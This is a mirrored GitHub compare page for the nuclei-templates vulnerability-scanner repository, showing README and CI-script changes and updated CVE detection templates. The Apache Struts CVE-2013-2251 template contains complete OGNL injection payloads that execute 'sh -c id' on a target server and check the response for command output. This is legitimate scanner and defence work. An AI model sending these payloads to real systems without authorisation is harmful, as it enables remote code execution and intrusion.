mirror of
https://github.com/projectdiscovery/nuclei-templates.git
synced 2026-11-07 08:36:19 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
01dbfcc23c | ||
|
|
c74fec3266 | ||
|
|
14a5e7575a | ||
|
|
099ac2c188 | ||
|
|
ac20c65da4 | ||
|
|
707fe433a7 | ||
|
|
19fe7c8129 | ||
|
|
1a97750c78 | ||
|
|
ba5043bd06 | ||
|
|
0ceb8d218a | ||
|
|
38e6eb76ed | ||
|
|
0fae570c4c | ||
|
|
a1732cc1a3 | ||
|
|
206862c816 | ||
|
|
521deb3b4d | ||
|
|
3d7e839a99 | ||
|
|
f9301c5808 | ||
|
|
92f97429ae | ||
|
|
245d0208e4 | ||
|
|
a9d306a2f4 | ||
|
|
6c4fcfc602 | ||
|
|
178b142c01 | ||
|
|
33db44139a | ||
|
|
e39ffdf513 | ||
|
|
d12c612a4c | ||
|
|
57ebaf5e88 | ||
|
|
6b7ffff6b5 | ||
|
|
386a08ecb8 | ||
|
|
7df9c73ebf | ||
|
|
1c912b753d | ||
|
|
ea0572dc68 | ||
|
|
c049bf3206 | ||
|
|
6f3b2cdd0c | ||
|
|
b81c8ea57d | ||
|
|
5f390de054 | ||
|
|
e041688b8d | ||
|
|
9d51cec01e | ||
|
|
58df42148f | ||
|
|
7b572db55f | ||
|
|
0afec08897 | ||
|
|
05796b0692 | ||
|
|
ebb15fcf69 | ||
|
|
788933d7de | ||
|
|
e41bc75b4e | ||
|
|
50463a3498 | ||
|
|
8bd2a9455a | ||
|
|
9c1ee73767 | ||
|
|
cbf26d43f0 | ||
|
|
971f016178 | ||
|
|
bf5e619803 | ||
|
|
beb578cdf0 | ||
|
|
a003719adf | ||
|
|
8a9f50edf7 | ||
|
|
3aca49622e | ||
|
|
cf991d51b0 | ||
|
|
5a6531e5fe | ||
|
|
ff1e9ae2ce | ||
|
|
30bf46b382 | ||
|
|
32d8c51386 | ||
|
|
20e3d72284 | ||
|
|
f4c24d25ce | ||
|
|
ba037c425b | ||
|
|
28f65c2e22 | ||
|
|
e59b433c3e | ||
|
|
e3290e2d7d | ||
|
|
9bd1d96e32 | ||
|
|
3b36d0c246 | ||
|
|
83a399fbbb | ||
|
|
a61ffd47a8 | ||
|
|
58815f777e | ||
|
|
eb270c814c | ||
|
|
1ec8040a8d | ||
|
|
536539570e | ||
|
|
7d41f99f4e | ||
|
|
05f41079f4 | ||
|
|
63cfa344bd | ||
|
|
5bd7f829ab | ||
|
|
224e42bbbd | ||
|
|
c882f01d0d | ||
|
|
2544f78855 | ||
|
|
18c74bc6c9 | ||
|
|
be8472e760 | ||
|
|
bd7cb4643f | ||
|
|
ed4cbf6df4 | ||
|
|
6ac16c7660 | ||
|
|
8d47af848b | ||
|
|
2a3259b338 | ||
|
|
7f48d4c8c5 | ||
|
|
d477db3002 | ||
|
|
951a32d833 | ||
|
|
245450ba03 | ||
|
|
8d637df405 | ||
|
|
2a46a9000b | ||
|
|
7186a9c276 | ||
|
|
77564e1711 | ||
|
|
3c65d12715 | ||
|
|
344760aab5 | ||
|
|
eb015be802 | ||
|
|
c82cf8b720 | ||
|
|
dd95ae5a58 | ||
|
|
1e8e3a9304 | ||
|
|
e857aef0f6 | ||
|
|
c03f0f07c1 | ||
|
|
9403d02e38 | ||
|
|
071e3b25c9 | ||
|
|
0202889780 | ||
|
|
f5e1d23545 | ||
|
|
1cb5780680 | ||
|
|
0932426f0e | ||
|
|
cd4db3c9c5 | ||
|
|
a8a891d117 | ||
|
|
b8b9152950 | ||
|
|
8747f5ed9c | ||
|
|
7629b08e8e | ||
|
|
bc398cf3e3 | ||
|
|
7c7a7ba69f | ||
|
|
a2243cbf30 | ||
|
|
348d46fbb0 | ||
|
|
d6198665e7 | ||
|
|
2f42b6edd7 | ||
|
|
2187e142b1 | ||
|
|
4ed2e6f56f | ||
|
|
b1965155f7 | ||
|
|
a710c24d4d | ||
|
|
a273c87c2e | ||
|
|
3cf5167077 | ||
|
|
c4349a33cf | ||
|
|
51754d7cd1 | ||
|
|
4cc190f1b9 | ||
|
|
8b990fd753 | ||
|
|
4f4797ceb4 | ||
|
|
cdfb537623 | ||
|
|
f03482fdd7 | ||
|
|
477dc5cf08 | ||
|
|
86ec9f5ab3 | ||
|
|
77fefbc493 | ||
|
|
d85749b5c7 | ||
|
|
4f746684c8 | ||
|
|
377a7df758 | ||
|
|
dab35a9b8c | ||
|
|
e9902629c1 | ||
|
|
9fc3e503da | ||
|
|
dadf6694e8 | ||
|
|
56ee390869 | ||
|
|
1505e88b68 | ||
|
|
25c00e7af7 | ||
|
|
e7efb8929f | ||
|
|
bf8504e12a | ||
|
|
eb47380134 | ||
|
|
739e7e0472 | ||
|
|
29d421549a | ||
|
|
b85f5656c8 | ||
|
|
e9b57b3e9a | ||
|
|
f8eaaae3cb | ||
|
|
de55e6439d | ||
|
|
beeb8ca5b7 | ||
|
|
cd90698cb5 | ||
|
|
740f726208 | ||
|
|
7c1b99b2ac | ||
|
|
d2c0b785ba | ||
|
|
9893610bb1 | ||
|
|
6adbc5e25a | ||
|
|
acae0a9d48 | ||
|
|
0629ac200c | ||
|
|
767492ff09 | ||
|
|
449786eb6b | ||
|
|
a32e2e7540 | ||
|
|
5e911f5cd9 | ||
|
|
fdeff23cd4 | ||
|
|
70c4e76f05 | ||
|
|
ace1f4ee25 | ||
|
|
99cc39a4ef | ||
|
|
15976d70b9 | ||
|
|
8dc8566538 | ||
|
|
1c4c6982d5 | ||
|
|
5d3c429763 | ||
|
|
eb1a417534 |
No files matched your search
@@ -0,0 +1,49 @@
|
||||
f"""
|
||||
# Nuclei Templates
|
||||
|
||||
[](https://opensource.org/licenses/MIT)
|
||||
[](https://github.com/projectdiscovery/nuclei-templates/releases)
|
||||
[](https://github.com/projectdiscovery/nuclei-templates/issues)
|
||||
[](https://twitter.com/pdnuclei)
|
||||
[](https://discord.gg/KECAGdH)
|
||||
|
||||
Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
|
||||
|
||||
An overview of the nuclei template directory including number of templates and HTTP request associated with each directory.
|
||||
|
||||
### Nuclei templates `{version}` overview
|
||||
|
||||
| Templates | Counts | Templates | Counts |
|
||||
|----|----|----|----|
|
||||
| cves | {countTpl("cves")} | files | {countTpl("files")} |
|
||||
| vulnerabilities | {countTpl("vulnerabilities")} | panels | {countTpl("panels")} |
|
||||
| technologies | {countTpl("technologies")} | security-misconfiguration | {countTpl("security-misconfiguration")} |
|
||||
| workflows | {countTpl("workflows")} | tokens | {countTpl("tokens")} |
|
||||
| dns | {countTpl("dns")} | fuzzing | {countTpl("fuzzing")} |
|
||||
| generic-detections | {countTpl("generic-detections")} | default-credentials | {countTpl("default-credentials")} |
|
||||
| subdomain-takeover | {countTpl("subdomain-takeover")} | payloads | {countTpl("payloads")} |
|
||||
| wordlists | {countTpl("wordlists")} |
|
||||
|
||||
|
||||
### Nuclei templates `{version}` tree overview
|
||||
|
||||
<details>
|
||||
<summary> Nuclei templates </summary>
|
||||
|
||||
```
|
||||
{command("tree", 1, -2)}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
**{command("tree", -2, None)}**.
|
||||
|
||||
Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding.
|
||||
|
||||
------
|
||||
**Notes:**
|
||||
1. Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/)) to validate new templates when sending pull requests.
|
||||
2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.
|
||||
|
||||
Thanks again for your contribution and keeping the community vibrant. :heart:
|
||||
"""
|
||||
@@ -0,0 +1,18 @@
|
||||
#!/usr/bin/env python3
|
||||
import os
|
||||
import subprocess
|
||||
|
||||
def countTpl(path):
|
||||
return len(os.listdir(path))
|
||||
|
||||
def command(args, start=None, end=None):
|
||||
return "\n".join(subprocess.run(args, text=True, capture_output=True).stdout.split("\n")[start:end])[:-1]
|
||||
|
||||
if __name__ == "__main__":
|
||||
version = command(["git", "describe", "--tags", "--abbrev=0"])
|
||||
template = eval(open(".github/scripts/README.tmpl", "r").read())
|
||||
|
||||
print(template)
|
||||
f = open("README.md", "w")
|
||||
f.write(template)
|
||||
f.close()
|
||||
@@ -0,0 +1,43 @@
|
||||
name: "Auto Update README"
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
create:
|
||||
tags:
|
||||
- v*
|
||||
|
||||
jobs:
|
||||
build:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Install tree
|
||||
run: sudo apt-get install tree -y
|
||||
|
||||
- name: Check out code
|
||||
uses: actions/checkout@master
|
||||
with:
|
||||
persist-credentials: false
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: "3.8"
|
||||
|
||||
- name: Update README
|
||||
run: |
|
||||
python .github/scripts/update-readme.py
|
||||
|
||||
- name: Commit files
|
||||
run: |
|
||||
git config --local user.email "[email protected]"
|
||||
git config --local user.name "GitHub Action"
|
||||
git commit -m "Auto Update README [$(date)] :robot:" -a
|
||||
|
||||
- name: Push changes
|
||||
uses: ad-m/github-push-action@master
|
||||
with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
branch: ${{ github.ref }}
|
||||
+2
-5
@@ -1,11 +1,8 @@
|
||||
.pre-commit-config.yaml
|
||||
security-misconfiguration/missing-x-frame-options.yaml
|
||||
security-misconfiguration/missing-hsts.yaml
|
||||
security-misconfiguration/missing-csp.yaml
|
||||
security-misconfiguration/basic-cors-flash.yaml
|
||||
cves/CVE-2017-7529.yaml
|
||||
cves/CVE-2020-13379.yaml
|
||||
cves/CVE-2013-2251.yaml
|
||||
vulnerabilities/x-forwarded-host-injection.yaml
|
||||
fuzzing/
|
||||
workflows/
|
||||
wordlists/
|
||||
misc/
|
||||
@@ -1,3 +1,4 @@
|
||||
|
||||
# Nuclei Templates
|
||||
|
||||
[](https://opensource.org/licenses/MIT)
|
||||
@@ -10,36 +11,35 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
|
||||
|
||||
An overview of the nuclei template directory including number of templates and HTTP request associated with each directory.
|
||||
|
||||
### nuclei templates `v7.2.0`
|
||||
### Nuclei templates `v7.2.7` overview
|
||||
|
||||
| Template Directory | Number of Templates |
|
||||
|---------------------------|--------------------------|
|
||||
| cves |125 |
|
||||
| default-credentials |03 |
|
||||
| dns |04 |
|
||||
| files |44 |
|
||||
| fuzzing |02 |
|
||||
| generic-detections |03 |
|
||||
| panels |39 |
|
||||
| security-misconfiguration |25 |
|
||||
| subdomain-takeover |02 |
|
||||
| technologies |32 |
|
||||
| tokens |08 |
|
||||
| vulnerabilities |33 |
|
||||
| workflows |15 |
|
||||
| Templates | Counts | Templates | Counts |
|
||||
|----|----|----|----|
|
||||
| cves | 138 | files | 41 |
|
||||
| vulnerabilities | 39 | panels | 40 |
|
||||
| technologies | 40 | security-misconfiguration | 24 |
|
||||
| workflows | 16 | tokens | 8 |
|
||||
| dns | 6 | fuzzing | 6 |
|
||||
| generic-detections | 3 | default-credentials | 3 |
|
||||
| subdomain-takeover | 2 | payloads | 2 |
|
||||
| wordlists | 1 |
|
||||
|
||||
### nuclei templates `v7.2.0` tree overview
|
||||
|
||||
### Nuclei templates `v7.2.7` tree overview
|
||||
|
||||
<details>
|
||||
<summary>Template Directory</summary>
|
||||
<summary> Nuclei templates </summary>
|
||||
|
||||
```
|
||||
├── LICENSE.md
|
||||
├── README.md
|
||||
├── cves
|
||||
│ ├── CVE-2005-2428.yaml
|
||||
│ ├── CVE-2013-2251.yaml
|
||||
│ ├── CVE-2014-6271.yaml
|
||||
│ ├── CVE-2017-10075.yaml
|
||||
│ ├── CVE-2017-11444.yaml
|
||||
│ ├── CVE-2017-12637.yaml
|
||||
│ ├── CVE-2017-14537.yaml
|
||||
│ ├── CVE-2017-14849.yaml
|
||||
│ ├── CVE-2017-5638.yaml
|
||||
@@ -55,6 +55,7 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── CVE-2018-1271.yaml
|
||||
│ ├── CVE-2018-1273.yaml
|
||||
│ ├── CVE-2018-13379.yaml
|
||||
│ ├── CVE-2018-13380.yaml
|
||||
│ ├── CVE-2018-14728.yaml
|
||||
│ ├── CVE-2018-16341.yaml
|
||||
│ ├── CVE-2018-16763.yaml
|
||||
@@ -77,6 +78,7 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── CVE-2019-12314.yaml
|
||||
│ ├── CVE-2019-12461.yaml
|
||||
│ ├── CVE-2019-12593.yaml
|
||||
│ ├── CVE-2019-12725.yaml
|
||||
│ ├── CVE-2019-14322.yaml
|
||||
│ ├── CVE-2019-14696.yaml
|
||||
│ ├── CVE-2019-14974.yaml
|
||||
@@ -100,9 +102,11 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── CVE-2019-2588.yaml
|
||||
│ ├── CVE-2019-2725.yaml
|
||||
│ ├── CVE-2019-3396.yaml
|
||||
│ ├── CVE-2019-3402.yaml
|
||||
│ ├── CVE-2019-3799.yaml
|
||||
│ ├── CVE-2019-5418.yaml
|
||||
│ ├── CVE-2019-6112.yaml
|
||||
│ ├── CVE-2019-6340.yaml
|
||||
│ ├── CVE-2019-6715.yaml
|
||||
│ ├── CVE-2019-7256.yaml
|
||||
│ ├── CVE-2019-7609.yaml
|
||||
@@ -111,7 +115,10 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── CVE-2019-8451.yaml
|
||||
│ ├── CVE-2019-8903.yaml
|
||||
│ ├── CVE-2019-8982.yaml
|
||||
│ ├── CVE-2019-9670.yaml
|
||||
│ ├── CVE-2019-9733.yaml
|
||||
│ ├── CVE-2019-9978.yaml
|
||||
│ ├── CVE-2020-0618.yaml
|
||||
│ ├── CVE-2020-10199.yaml
|
||||
│ ├── CVE-2020-10204.yaml
|
||||
│ ├── CVE-2020-11034.yaml
|
||||
@@ -119,12 +126,16 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── CVE-2020-12116.yaml
|
||||
│ ├── CVE-2020-12720.yaml
|
||||
│ ├── CVE-2020-13167.yaml
|
||||
│ ├── CVE-2020-13942.yaml
|
||||
│ ├── CVE-2020-14179.yaml
|
||||
│ ├── CVE-2020-14181.yaml
|
||||
│ ├── CVE-2020-14864.yaml
|
||||
│ ├── CVE-2020-14882.yaml
|
||||
│ ├── CVE-2020-15129.yaml
|
||||
│ ├── CVE-2020-15505.yaml
|
||||
│ ├── CVE-2020-15920.yaml
|
||||
│ ├── CVE-2020-16139.yaml
|
||||
│ ├── CVE-2020-16846.yaml
|
||||
│ ├── CVE-2020-16952.yaml
|
||||
│ ├── CVE-2020-17505.yaml
|
||||
│ ├── CVE-2020-17506.yaml
|
||||
@@ -134,6 +145,7 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── CVE-2020-24312.yaml
|
||||
│ ├── CVE-2020-2551.yaml
|
||||
│ ├── CVE-2020-25540.yaml
|
||||
│ ├── CVE-2020-26214.yaml
|
||||
│ ├── CVE-2020-3187.yaml
|
||||
│ ├── CVE-2020-3452.yaml
|
||||
│ ├── CVE-2020-5284.yaml
|
||||
@@ -152,15 +164,14 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── CVE-2020-8191.yaml
|
||||
│ ├── CVE-2020-8193.yaml
|
||||
│ ├── CVE-2020-8194.yaml
|
||||
│ ├── CVE-2020-8209.yaml
|
||||
│ ├── CVE-2020-8512.yaml
|
||||
│ ├── CVE-2020-8982.yaml
|
||||
│ ├── CVE-2020-9047.yaml
|
||||
│ ├── CVE-2020-9344.yaml
|
||||
│ ├── CVE-2020-9484.yaml
|
||||
│ ├── CVE-2020-9496.yaml
|
||||
│ ├── CVE-2020-9757.yaml
|
||||
│ ├── cve-2019-9733.yaml
|
||||
│ └── cve-2020-0618.yaml
|
||||
│ └── CVE-2020-9757.yaml
|
||||
├── default-credentials
|
||||
│ ├── grafana-default-credential.yaml
|
||||
│ ├── rabbitmq-default-admin.yaml
|
||||
@@ -169,11 +180,12 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── azure-takeover-detection.yaml
|
||||
│ ├── cname-service-detector.yaml
|
||||
│ ├── dead-host-with-cname.yaml
|
||||
│ └── servfail-refused-hosts.yaml
|
||||
│ ├── mx-service-detector.yaml
|
||||
│ ├── servfail-refused-hosts.yaml
|
||||
│ └── spoofable-spf-records-ptr.yaml
|
||||
├── files
|
||||
│ ├── apc-info.yaml
|
||||
│ ├── cgi-test-page.yaml
|
||||
│ ├── dir-listing.yaml
|
||||
│ ├── docker-registry.yaml
|
||||
│ ├── domcfg-page.yaml
|
||||
│ ├── druid-monitor.yaml
|
||||
@@ -187,18 +199,15 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── filezilla.yaml
|
||||
│ ├── firebase-detect.yaml
|
||||
│ ├── git-config.yaml
|
||||
│ ├── htaccess-config.yaml
|
||||
│ ├── jkstatus-manager.yaml
|
||||
│ ├── jolokia.yaml
|
||||
│ ├── laravel-env.yaml
|
||||
│ ├── lazy-file.yaml
|
||||
│ ├── magento-config.yaml
|
||||
│ ├── ntlm-directories.yaml
|
||||
│ ├── php-errors.yaml
|
||||
│ ├── phpinfo.yaml
|
||||
│ ├── public-tomcat-instance.yaml
|
||||
│ ├── robots.txt.yaml
|
||||
│ ├── security.txt.yaml
|
||||
│ ├── redmine-db-config.yaml
|
||||
│ ├── server-status-localhost.yaml
|
||||
│ ├── shell-history.yaml
|
||||
│ ├── sql-dump.yaml
|
||||
@@ -214,17 +223,32 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── wordpress-installer-log.yaml
|
||||
│ ├── wordpress-tmm-db-migrate.yaml
|
||||
│ ├── wordpress-user-enumeration.yaml
|
||||
│ ├── wp-xmlrpc.yaml
|
||||
│ ├── wsdl-detect.yaml
|
||||
│ └── zip-backup-files.yaml
|
||||
├── fuzzing
|
||||
│ ├── arbitrary-file-read.yaml
|
||||
│ ├── basic-auth-bruteforce.yaml
|
||||
│ ├── directory-traversal.yaml
|
||||
│ └── generic-lfi-fuzzing.yaml
|
||||
│ ├── generic-lfi-fuzzing.yaml
|
||||
│ ├── iis-shortname.yaml
|
||||
│ └── wp-plugin-scan.yaml
|
||||
├── generic-detections
|
||||
│ ├── basic-xss-prober.yaml
|
||||
│ ├── general-tokens.yaml
|
||||
│ └── top-15-xss.yaml
|
||||
├── misc
|
||||
│ ├── basic-cors-flash.yaml
|
||||
│ ├── dir-listing.yaml
|
||||
│ ├── htaccess-config.yaml
|
||||
│ ├── missing-csp.yaml
|
||||
│ ├── missing-hsts.yaml
|
||||
│ ├── missing-x-frame-options.yaml
|
||||
│ ├── ntlm-directories.yaml
|
||||
│ ├── robots.txt.yaml
|
||||
│ ├── security.txt.yaml
|
||||
│ ├── unencrypted-bigip-ltm-cookie.yaml
|
||||
│ ├── wp-xmlrpc.yaml
|
||||
│ └── xml-schema-detect.yaml
|
||||
├── panels
|
||||
│ ├── adminer-panel.yaml
|
||||
│ ├── aims-password-mgmt-client.yaml
|
||||
@@ -270,7 +294,7 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── CVE-2020-5776.csv
|
||||
│ └── CVE-2020-6287.xml
|
||||
├── security-misconfiguration
|
||||
│ ├── basic-cors-flash.yaml
|
||||
│ ├── apache-tomcat-snoop.yaml
|
||||
│ ├── basic-cors.yaml
|
||||
│ ├── django-debug-detect.yaml
|
||||
│ ├── drupal-user-enum-ajax.yaml
|
||||
@@ -284,9 +308,6 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── jupyter-ipython-unauth.yaml
|
||||
│ ├── larvel-debug.yaml
|
||||
│ ├── manage-engine-ad-search.yaml
|
||||
│ ├── missing-csp.yaml
|
||||
│ ├── missing-hsts.yaml
|
||||
│ ├── missing-x-frame-options.yaml
|
||||
│ ├── put-method-enabled.yaml
|
||||
│ ├── rack-mini-profiler.yaml
|
||||
│ ├── salesforce-aura-misconfig.yaml
|
||||
@@ -303,6 +324,7 @@ An overview of the nuclei template directory including number of templates and H
|
||||
├── technologies
|
||||
│ ├── apache-detect.yaml
|
||||
│ ├── artica-web-proxy-detect.yaml
|
||||
│ ├── basic-auth-detection.yaml
|
||||
│ ├── bigip-config-utility-detect.yaml
|
||||
│ ├── citrix-vpn-detect.yaml
|
||||
│ ├── clockwork-php-page.yaml
|
||||
@@ -315,6 +337,7 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── home-assistant.yaml
|
||||
│ ├── jaspersoft-detect.yaml
|
||||
│ ├── jira-detect.yaml
|
||||
│ ├── kibana-detect.yaml
|
||||
│ ├── kong-detect.yaml
|
||||
│ ├── liferay-portal-detect.yaml
|
||||
│ ├── linkerd-badrule-detect.yaml
|
||||
@@ -327,12 +350,14 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── pi-hole-detect.yaml
|
||||
│ ├── prometheus-exporter-detect.yaml
|
||||
│ ├── prometheus-exposed-panel.yaml
|
||||
│ ├── redmine-cli-detect.yaml
|
||||
│ ├── s3-detect.yaml
|
||||
│ ├── sap-netweaver-as-java-detect.yaml
|
||||
│ ├── sap-netweaver-detect.yaml
|
||||
│ ├── shiro-detect.yaml
|
||||
│ ├── sql-server-reporting.yaml
|
||||
│ ├── tech-detect.yaml
|
||||
│ ├── terraform-detect.yaml
|
||||
│ ├── tomcat-detect.yaml
|
||||
│ ├── waf-detect.yaml
|
||||
│ ├── weblogic-detect.yaml
|
||||
@@ -360,6 +385,7 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── moodle-filter-jmol-lfi.yaml
|
||||
│ ├── moodle-filter-jmol-xss.yaml
|
||||
│ ├── nginx-module-vts-xss.yaml
|
||||
│ ├── nuuo-nvrmini2-rce.yaml
|
||||
│ ├── open-redirect.yaml
|
||||
│ ├── oracle-ebs-bispgraph-file-access.yaml
|
||||
│ ├── pdf-signer-ssti-to-rce.yaml
|
||||
@@ -385,27 +411,30 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── wordpress-wordfence-xss.yaml
|
||||
│ ├── wordpress-wpcourses-info-disclosure.yaml
|
||||
│ └── zms-auth-bypass.yaml
|
||||
├── wordlists
|
||||
│ └── wp-plugins.txt
|
||||
└── workflows
|
||||
├── artica-web-proxy-workflow.yaml
|
||||
├── bigip-pwner-workflow.yaml
|
||||
├── basic-auth-workflow.yaml
|
||||
├── bigip-workflow.yaml
|
||||
├── cisco-asa-workflow.yaml
|
||||
├── grafana-workflow.yaml
|
||||
├── jira-exploitaiton-workflow.yaml
|
||||
├── liferay-rce-workflow.yaml
|
||||
├── jira-workflow.yaml
|
||||
├── liferay-workflow.yaml
|
||||
├── lotus-domino-workflow.yaml
|
||||
├── magmi-workflow.yaml
|
||||
├── mida-eframework-workflow.yaml
|
||||
├── netsweeper-preauth-rce-workflow.yaml
|
||||
├── netsweeper-workflow.yaml
|
||||
├── rabbitmq-workflow.yaml
|
||||
├── sap-netweaver-workflow.yaml
|
||||
├── springboot-pwner-workflow.yaml
|
||||
├── springboot-workflow.yaml
|
||||
├── vbulletin-workflow.yaml
|
||||
└── wordpress-workflow.yaml
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
14 directories, **352 templates**.
|
||||
**16 directories, 383 files**.
|
||||
|
||||
Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding.
|
||||
|
||||
@@ -415,4 +444,3 @@ Please navigate to https://nuclei.projectdiscovery.io for detailed documentation
|
||||
2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.
|
||||
|
||||
Thanks again for your contribution and keeping the community vibrant. :heart:
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
id: cve-2005-2428
|
||||
info:
|
||||
name: CVE-2005-2428 testing
|
||||
name: CVE-2005-2428
|
||||
author: CasperGN
|
||||
severity: medium
|
||||
|
||||
|
||||
+30
-9
@@ -2,24 +2,45 @@ id: cve-2013-2251
|
||||
|
||||
info:
|
||||
name: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
|
||||
author: exploitation
|
||||
author: exploitation & @dwisiswant0
|
||||
severity: critical
|
||||
description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/index.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
|
||||
- "{{BaseURL}}/login.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
|
||||
- "{{BaseURL}}/index.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
|
||||
- "{{BaseURL}}/login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
|
||||
- payloads:
|
||||
params:
|
||||
- "redirect"
|
||||
- "action"
|
||||
- "redirectAction"
|
||||
raw:
|
||||
- |
|
||||
GET /index.action?§params§:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Connection: close
|
||||
Accept: */*
|
||||
Accept-Language: en
|
||||
|
||||
- |
|
||||
GET /login.action?§params§:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Connection: close
|
||||
Accept: */*
|
||||
Accept-Language: en
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- 400
|
||||
condition: or
|
||||
- type: regex
|
||||
regex:
|
||||
- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
|
||||
- type: word
|
||||
words:
|
||||
- "uid="
|
||||
condition: and
|
||||
- "There is no Action mapped for namespace"
|
||||
- "The origin server did not find a current representation for the target resource"
|
||||
- "Apache Tomcat"
|
||||
condition: or
|
||||
part: body
|
||||
@@ -0,0 +1,28 @@
|
||||
id: cve-2017-12637
|
||||
|
||||
info:
|
||||
name: Directory traversal vulnerability in SAP NetWeaver Application Server Java 7.5
|
||||
author: apt-mirror
|
||||
severity: high
|
||||
description: Directory traversal vulnerability in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS in SAP NetWeaver Application Server Java 7.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the query string, as exploited in the wild in August 2017, aka SAP Security Note 2486657.
|
||||
|
||||
# References:
|
||||
# - [1] https://www.cvedetails.com/cve/CVE-2017-12637/
|
||||
# - [2] https://nvd.nist.gov/vuln/detail/CVE-2017-12637
|
||||
# - [3] https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_SAP-Bugs-The-Phantom-Security.pdf
|
||||
|
